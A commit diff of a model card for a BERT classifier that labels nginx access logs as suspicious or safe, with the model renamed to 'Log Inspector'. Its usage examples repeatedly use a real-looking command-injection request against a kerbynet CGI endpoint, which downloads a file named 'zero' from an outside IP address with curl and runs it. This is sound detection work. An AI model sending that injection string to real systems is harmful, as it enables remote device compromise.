Update README.md
Browse files
README.md
CHANGED
@@ -2,7 +2,7 @@
|
|
2 |
language: en
|
3 |
license: apache-2.0
|
4 |
---
|
5 |
-
# Log
|
6 |
|
7 |
Pretrained model on nginx access logs. Based on [bert-base-cased](https://huggingface.co/bert-base-cased).
|
8 |
|
@@ -14,8 +14,8 @@ Given text must be parsed as like:
|
|
14 |
|
15 |
```python
|
16 |
>>> from transformers import pipeline
|
17 |
-
>>>
|
18 |
-
>>>
|
19 |
[{'label': 'LABEL_0', 'score': 0.9999788999557495}]
|
20 |
```
|
21 |
class 0 is a suspicious log. class 1 is a safe log.
|
@@ -23,7 +23,7 @@ class 0 is a suspicious log. class 1 is a safe log.
|
|
23 |
With simpletransformer:
|
24 |
```python
|
25 |
>>> from simpletransformers.classification import ClassificationModel
|
26 |
-
>>> model = ClassificationModel('bert', "u-haru/log-
|
27 |
>>> predictions, raw_outputs = model.predict(['path: /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*";cd /tmp;curl -O http://5.206.227.228/zero;sh zero;"; ref:-; ua:-;']) # 評価
|
28 |
>>> print(predictions)
|
29 |
[0]
|
@@ -32,7 +32,7 @@ With simpletransformer:
|
|
32 |
Evaluate or training:
|
33 |
```python
|
34 |
>>> from simpletransformers.classification import ClassificationModel
|
35 |
-
>>> model = ClassificationModel('bert', "u-haru/log-
|
36 |
>>> data = [["Suspicious log",0],["Safe log",1]]
|
37 |
>>> df = pd.DataFrame(data)
|
38 |
|
|
|
2 |
language: en
|
3 |
license: apache-2.0
|
4 |
---
|
5 |
+
# Log Inspector
|
6 |
|
7 |
Pretrained model on nginx access logs. Based on [bert-base-cased](https://huggingface.co/bert-base-cased).
|
8 |
|
|
|
14 |
|
15 |
```python
|
16 |
>>> from transformers import pipeline
|
17 |
+
>>> inspector = pipeline('text-classification', model="u-haru/log-inspector")
|
18 |
+
>>> inspector('path: /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*";cd /tmp;curl -O http://5.206.227.228/zero;sh zero;"; ref:-; ua:-;')
|
19 |
[{'label': 'LABEL_0', 'score': 0.9999788999557495}]
|
20 |
```
|
21 |
class 0 is a suspicious log. class 1 is a safe log.
|
|
|
23 |
With simpletransformer:
|
24 |
```python
|
25 |
>>> from simpletransformers.classification import ClassificationModel
|
26 |
+
>>> model = ClassificationModel('bert', "u-haru/log-inspector", num_labels=2, use_cuda=(use_cuda and torch.cuda.is_available()), args=param)
|
27 |
>>> predictions, raw_outputs = model.predict(['path: /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*";cd /tmp;curl -O http://5.206.227.228/zero;sh zero;"; ref:-; ua:-;']) # 評価
|
28 |
>>> print(predictions)
|
29 |
[0]
|
|
|
32 |
Evaluate or training:
|
33 |
```python
|
34 |
>>> from simpletransformers.classification import ClassificationModel
|
35 |
+
>>> model = ClassificationModel('bert', "u-haru/log-inspector", num_labels=2, use_cuda=(use_cuda and torch.cuda.is_available()), args=param)
|
36 |
>>> data = [["Suspicious log",0],["Safe log",1]]
|
37 |
>>> df = pd.DataFrame(data)
|
38 |
|